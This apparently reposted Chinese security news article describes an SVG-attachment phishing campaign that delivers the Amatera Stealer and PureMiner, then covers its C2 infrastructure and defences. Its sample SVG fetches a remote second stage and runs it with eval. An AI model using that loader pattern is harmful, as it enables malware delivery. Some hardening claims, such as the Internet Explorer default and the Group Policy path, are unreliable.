忻州市网站建设_网站建设公司_HTTPS_seo优化
2026/1/18 9:50:34 网站建设 项目流程

一、一封“发票图”,竟成远程控制入口?

2025年秋,欧洲多家中小企业财务人员陆续收到一封看似普通的邮件:“附件为贵司最新账单,请查收。”随信附带一个名为 invoice_OCT2025.svg 的文件。用户双击打开后,屏幕上只显示一张简洁的矢量发票图——毫无异常。

然而,就在图像加载完成的瞬间,后台已悄然执行一段嵌入式JavaScript代码,从境外服务器下载名为 Amatera Stealer 的恶意程序。数分钟后,受害者的浏览器Cookie、加密钱包私钥、企业凭证被批量上传;与此同时,另一模块 PureMiner 开始在后台调用CPU资源,为攻击者挖掘门罗币(Monero)。

这并非科幻桥段,而是FortiGuard Labs与WhoisXML API联合披露的一起真实攻击事件。根据CircleID于2025年10月30日发布的深度分析报告,攻击者正大规模利用 SVG(可缩放矢量图形)文件作为初始投递载体,绕过传统邮件网关对“图片”的信任假设,实现高隐蔽性入侵。

更令人警惕的是,整个攻击基础设施通过多层DNS别名链、公共云CDN伪装和快变域名(Fast-Flux)技术隐藏真实C2(命令与控制)服务器,使得基于IP或域名的静态封堵几乎失效。

“我们过去总说‘不要点.exe’,但现在连.svg都可能执行代码。”公共互联网反网络钓鱼工作组技术专家芦笛在接受本报采访时直言,“攻击者正在把‘无害格式’变成武器,而我们的防御体系还没跟上。”

二、SVG为何能“执行代码”?技术原理深度解析

要理解此次攻击的颠覆性,必须先厘清SVG的本质。

SVG(Scalable Vector Graphics)是一种基于XML的矢量图像格式,广泛用于网页图标、数据可视化和响应式设计。但与PNG、JPEG等纯栅格图像不同,SVG支持内嵌JavaScript、CSS甚至外部资源引用。这意味着,一个“.svg”文件本质上是一个可执行的微型网页。

攻击载荷构造示例:

以下是一个简化版的恶意SVG文件结构(仅用于教学演示):

<?xml version="1.0" encoding="UTF-8"?>

<svg xmlns="http://www.w3.org/2000/svg" width="500" height="300">

<title>Invoice OCT2025</title>

<rect x="10" y="10" width="480" height="280" fill="#f0f0f0"/>

<text x="50" y="50" font-size="18">Invoice #INV-202510</text>

<!-- 恶意脚本隐藏在看似无害的标签中 -->

<script type="application/ecmascript"><![CDATA[

(function() {

// 动态构建下载URL

const domain = "ms-team-ping2[.]com";

const payload = "/loader.bin";

// 创建隐藏iframe触发下载

const iframe = document.createElement('iframe');

iframe.style.display = 'none';

iframe.src = "https://" + domain + payload;

document.body.appendChild(iframe);

// 或通过fetch下载并执行

fetch("https://" + domain + "/stage2.js")

.then(r => r.text())

.then(eval); // 危险!但有效

})();

]]></script>

</svg>

当用户在浏览器或支持脚本渲染的SVG查看器中打开此文件时,内嵌的JavaScript会立即执行,从远程服务器拉取第二阶段载荷(如Amatera Stealer)。

注:Windows默认使用Internet Explorer引擎渲染本地SVG文件,若未禁用ActiveX或脚本执行,极易中招。

为何能绕过传统防御?

扩展名欺骗:邮件网关通常将.svg归类为“安全图像”,不进行沙箱 detonation;

MIME类型混淆:即使服务器返回Content-Type: image/svg+xml,多数安全设备不会解析其内部脚本;

无文件落地:部分攻击采用内存加载(in-memory execution),避免写入磁盘,规避EDR检测。

三、攻击链条全景:从SVG到窃密与挖矿

根据CircleID报告及FortiGuard Labs的IoC(Indicators of Compromise)分析,此次攻击分为三个阶段:

阶段一:初始投递(Initial Delivery)

攻击者通过钓鱼邮件发送SVG附件,主题多为“发票”“合同”“物流通知”;

文件名刻意模仿业务场景(如 shipping_notice_7891.svg);

部分变种将SVG托管于GitHub Gist、Pastebin或Google Drive,通过短链接诱导点击。

阶段二:载荷下载与执行(Payload Execution)

SVG内嵌脚本连接至第一跳C2域名(如 ms-team-ping2[.]com);

下载轻量级下载器(Downloader),负责获取主载荷;

主载荷包括:

Amatera Stealer:专用于窃取浏览器Cookie、保存的密码、加密货币钱包(如MetaMask)、Discord令牌等;

PureMiner:基于XMRig的定制挖矿程序,具备进程隐藏、CPU占用动态调节、反调试功能。

阶段三:C2通信与持久化(C2 & Persistence)

C2基础设施采用多层DNS伪装:

域名注册于NiceNIC、Web Commerce等宽松注册商;

使用CNAME链指向Cloudflare、Amazon CloudFront等公共CDN;

真实服务器IP隐藏在CDN背后,难以溯源。

DNS查询数据显示,部分域名在被标记为恶意前 14–105天 已出现在威胁情报Feed中,表明攻击者提前“养域”以提升信誉。

例如,域名 ms-team-ping2[.]com 的DNS解析链如下:

ms-team-ping2.com

→ CNAME → cdn-assets[.]cloudflaressl.com

→ A → 104.21.63.189 (Cloudflare边缘节点)

→ 实际回源至 109.176.207.110(荷兰Nasstar托管)

这种架构使得基于IP的封堵无效,而基于域名的封堵又因快变策略(每日轮换子域)而滞后。

四、国内启示:中国企业的“图片信任”同样危险

尽管此次攻击主要针对欧美目标,但其手法对中国市场极具警示意义。

首先,国内企业普遍依赖邮件处理发票、合同、物流单据。财务、采购、行政人员每日接收大量附件,对“.svg”虽不常见,但对“.html”“.htm”甚至“.url”快捷方式的警惕性仍不足。一旦攻击者将SVG替换为类似格式,风险极高。

其次,国内大量中小企业使用老旧Windows系统(如Win7/Win10未打补丁),默认SVG查看器仍启用脚本执行。2025年已有安全厂商捕获到仿冒“税务通知.svg”的样本,试图下载远控木马。

芦笛指出:“中国用户对‘官方文件’的信任度极高,尤其来自‘税务局’‘银行’‘物流公司’的通知。攻击者只需稍作本地化,就能复刻这套攻击链。”

更值得警惕的是,PureMiner类挖矿程序在国内云服务器环境中尤为猖獗。攻击者常通过弱口令爆破或未修复漏洞入侵云主机,部署挖矿脚本。若结合SVG钓鱼作为初始入口,可形成“端点→服务器”的横向移动链条。

五、防御升级:从“信任图片”到“隔离执行”

面对SVG钓鱼的新威胁,专家建议采取多层次防御策略:

1. 邮件与代理侧:主动剥离与渲染隔离

强制将SVG转为静态PNG:在邮件网关或安全邮件平台(如Mimecast、Proofpoint)中配置策略,对所有SVG附件进行无脚本渲染,并转换为不可执行的栅格图像;

启用浏览器隔离(Browser Isolation):对所有来自邮件、聊天工具的SVG链接,在远程沙箱中打开,本地仅接收像素流;

MIME类型严格校验:拒绝image/svg+xml类型的直接下载,或强制以文本方式呈现。

2. 终端侧:禁用SVG脚本执行

在Windows组策略中禁用SVG的Active Scripting:

计算机配置 → 管理模板 → Windows组件 → Internet Explorer → 安全功能 → 限制ActiveX安装 → 启用

推广使用无脚本SVG查看器(如Inkscape、专用PDF转换工具);

对普通用户,建议将.svg文件关联至记事本,避免双击执行。

3. DNS层:启发式检测与被动追踪

部署支持DNS流量分析的安全平台(如Cisco Umbrella、Palo Alto DNS Security),识别以下异常:

高熵子域(如 x7k9q2.ms-team-ping2.com);

多层CNAME链指向公共CDN;

域名生命周期极短(注册<7天即活跃)。

利用被动DNS(Passive DNS) 数据库(如WhoisXML API、SecurityTrails)追踪域名历史解析记录,发现潜在C2基础设施。

例如,通过Python脚本查询可疑域名的CNAME链:

import dns.resolver

def trace_cname_chain(domain):

chain = []

current = domain

while True:

try:

answers = dns.resolver.resolve(current, 'CNAME')

cname = str(answers[0].target).rstrip('.')

chain.append(cname)

if cname == current: # 避免循环

break

current = cname

except dns.resolver.NoAnswer:

break

except Exception as e:

print(f"Error resolving {current}: {e}")

break

return chain

# 示例:追踪 ms-team-ping2.com

print(trace_cname_chain("ms-team-ping2.com"))

# 输出:['cdn-assets.cloudflaressl.com']

4. 终端检测:行为监控与内存扫描

部署支持无文件攻击检测的EDR(如CrowdStrike、SentinelOne),监控以下行为:

非浏览器进程加载JavaScript引擎(如jscript.dll);

svchost.exe或dllhost.exe发起异常外联;

内存中出现XMRig特征字符串(如“moneropool.com”)。

对Amatera Stealer,重点监控对 %LocalAppData%\Google\Chrome\User Data 等路径的非常规访问。

六、结语:安全不能止步于“看起来无害”

SVG钓鱼的兴起,标志着攻击者正系统性地利用格式信任与防御盲区。他们不再需要复杂的漏洞利用,只需一个被误认为“安全”的文件扩展名,就能打开通往企业核心资产的大门。

这不仅是技术挑战,更是安全思维的转型契机。正如芦笛所言:“未来的安全,不是判断‘它是不是病毒’,而是问‘它为什么需要执行代码?’”

在万物皆可脚本化的时代,我们必须重新定义“可信内容”。每一次双击,都应是一次有意识的安全决策——因为最危险的攻击,往往披着最无害的外衣。

编辑:芦笛(公共互联网反网络钓鱼工作组)

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询